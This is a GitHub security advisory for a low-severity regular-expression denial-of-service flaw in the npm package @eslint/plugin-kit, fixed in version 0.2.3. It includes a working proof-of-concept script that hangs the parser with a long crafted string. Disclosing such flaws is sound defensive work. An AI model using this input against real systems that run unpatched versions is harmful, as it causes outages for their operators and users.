GHSA-7q7g-4xm8-89cq

GitHub Security Advisory

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

✓ GitHub Reviewed LOW Has CVE

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

## POC

```js
const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
```

npm @eslint/plugin-kit

Affected versions: 0 (fixed in 0.2.3)

CVE-2024-21539

GHSA ID

GHSA-7q7g-4xm8-89cq

Published

November 15, 2024 8:47 PM

Last Modified

November 19, 2024 8:49 PM

CVSS Score

2.5 /10

Primary Ecosystem

npm

Primary Package

@eslint/plugin-kit

GitHub Reviewed

✓ Yes

Last updated: July 30, 2025 6:36 AM

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